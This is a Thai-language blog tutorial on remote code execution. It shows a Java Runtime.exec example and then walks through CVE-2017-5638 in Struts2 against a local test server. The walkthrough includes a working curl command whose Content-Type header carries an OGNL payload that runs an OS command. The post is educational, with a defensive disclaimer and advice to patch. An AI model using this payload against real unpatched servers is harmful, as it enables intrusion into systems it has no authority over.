รันโค้ดจากระยะไกลด้วยช่องโหว่ของ Struts2

การ Hack ที่สวยงามที่สุด คือการที่ Hacker มามือเปล่า มีเพียงแค่ Browser แล้วได้ข้อมูลที่ไม่สามารถประเมินค่าได้กลับไปด้วย

เป็นประโยคที่ผมชอบมากที่สุดตอนสมัยเริ่มศึกษาเรื่องการเจาะระบบตอนเรียนอยู่มหาลัยช่วงปีหนึ่ง ซึ่งหนึ่งในเทคนิคที่ผมชอบก็คือการรันโค้ดจากระยะไกล หรือ Remote Code Execution (RCE)

ก่อนที่จะไปดู RCE ผมจะพาไปดูการรันโค้ดใดๆ ก็ได้บนเครื่องตัวเองก่อน แล้วค่อยไปดูการรันโค้ดใดๆ จากระยะไกล

Disclaimer: บทความนี้สอนให้รู้จัก Web Security เบื้องต้นเพื่อเป็นความรู้ในการป้องกันระบบเท่านั้น และช่องโหว่ที่ใช้ในการทดสอบนี้ได้มีการประกาศอย่างเป็นทางการและได้รับการ patch แล้วจึงสามารถเผยแพร่ได้ หากมีความเสียหายที่เกิดจากการเจาระระบบแล้วอ้างถึงบทความนี้ ทางผู้เขียนบทความขอไม่รับผิดชอบต่อความเสียหายใดๆ ที่เกิดขึ้น

รันโค้ดบนเครื่องตัวเอง

Java อนุญาตให้เรารันคำสั่งของ OS ได้ผ่านทางคลาส Runtime โดยเรียกโค้ดหน้าตาแบบนี้

package com.magicalcyber.blog.rce;

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class CodeExecution {

	public static void main(String[] args) throws Exception {
		
		String cmd = "whoami";
		
		// Execute Command
		Process process = Runtime.getRuntime().exec(cmd);

		// get output
		InputStreamReader in = new InputStreamReader(process.getInputStream());
		BufferedReader br = new BufferedReader(in);
		
		// print output
		String line = null;
		System.out.println("Result:");

		while ((line = br.readLine()) != null) {
			System.out.println(line);
		}

	}

}

เมื่อทำการรันก็จะได้ผลลัพธ์ตามคำสั่งที่ส่งเข้ามา อย่างเช่นตัวอย่างนี้ผมรันบน MacOS และให้แสดงผลคำสั่ง whoami ซึ่งเป็นการให้แสดง user ที่กำลังใช้งานอยู่ในปัจจุบัน

โดยพระเอกของงานมีแค่บรรทัดเดียวคือ Runtime.getRuntime().exec(cmd) เมื่อเรียกคำสั่งนี้ ตัว java ก็จะทำการรันคำสั่งที่ส่งเข้ามาทันที ซึ่งบรรทัดเดียวนี้เองที่เอาไว้ทำ Remote Code Execution เพราะการเจาะระบบถ้า hacker มั่นใจในคำสังก็ไม่จำเป็นต้องดูผลลัพธ์ของคำสั่ง ยกเว้นพิมพ์ผิด

รันโค้ดบนเครื่องเครื่องคนอื่น

การที่จะเอาโปรแกรมนี้ไปติดตั้งบนเครื่องคนอื่นแล้วรันคำสั่งที่เราต้องการนั้นเป็นไปได้ยาก ยิ่งเป็น production server ที่มีการป้องกันที่ดีแล้วก็ลำบากเข้าไปใหญ่ คนเจาะระบบจึงจำเป็นต้องหาช่องโหว่ของ Framework หรือ Software ที่เครื่องเป้าหมายนั้นใช้อยู่ อย่างเช่นกรณีของช่องโหว่ของ Struts2 หมายเลข CVE-2017-5638

โดยสรุปคือการโจมตีครั้งนี้เกิดจากการที่ library ของ Struts2 ที่ชื่อ OGNL มันมีปัญหากับ Content typeที่ส่งเข้ามาแบบแปลกๆ แล้วดันไปรันโค้ดบางอย่างได้ ทำให้คนที่จะโจมตีทำการส่ง Content type ที่เป็น syntax ของ OGNL ที่มีตัว execute command เข้ามาด้วย

ขั้นตอนการทดสอบการโจมตี

  1. Download Tomcat และ Sample project ของ Struts2 เวอร์ชั่นที่ยังไม่ได้รับการแก้ไขปัญหานี้ (ขอไม่บอกในที่นี้ ซึ่งสามารถหาได้ตาม google) แล้วเลือก war file ที่ชื่อ struts2-blank ซึ่งเป็น sample ที่ง่ายที่สุดในการ setup
  2. Start tomcat แล้วทำการ deploy ตัว sample war
  3. เตรียม request ที่แก้ไข content type เพื่อทำการ remote code execution ในที่นี้ผมใช้เครื่อง mac รัน tomcat ก็เลยลองให้เปิดโปรแกรมเครื่องคิดเลข และแก้ content type โดยใช้ คำสั่ง curl ใน terminal ดังนี้

    curl http://localhost:8080/struts2-blank/example/HelloWorld.action -H "Content-Type: %{(#_='multipart/form-data').(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app'))}"

  4. ผลลัพธ์การรัน curl

ส่งท้าย

ลองนึกภาพว่าผู้ไม่ประสงค์ดีทำการ recote code execution เพื่อ download malware เพื่อติดตั้ง backdoor บนเครื่อง server ของเราจะเกิดอะไรขึ้น? ความบันเทิงเกิดขึ้นแน่นอน ยิ่งถ้าระบบเราเกี่ยวกับเงินๆ ทองๆ ก็เรียกได้ว่าเละเหมือนกับกรณีที่เขาทำการขโมยเงินในพวกสกุลเงินดิจิตอล

ดังนั้นเมื่อ software หรือ feamework ตัวใหนก็ตามมีการประกาศ update version ใหม่และบอกว่ามีการแก้ไขเรื่อง remote code execution ให้รีบ update ทันที

พึงระลึกไว้เสมอว่า ไม่มีระบบออนไลน์ใหนที่ปลอดภัยจากการโจมตี ประตูที่แข็งแกร่งแค่ใหนถ้าข้อมูลข้างในมันคุ้มค่าที่จะออกแรงพังประตู มันจะถูกพังได้เสมอ

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s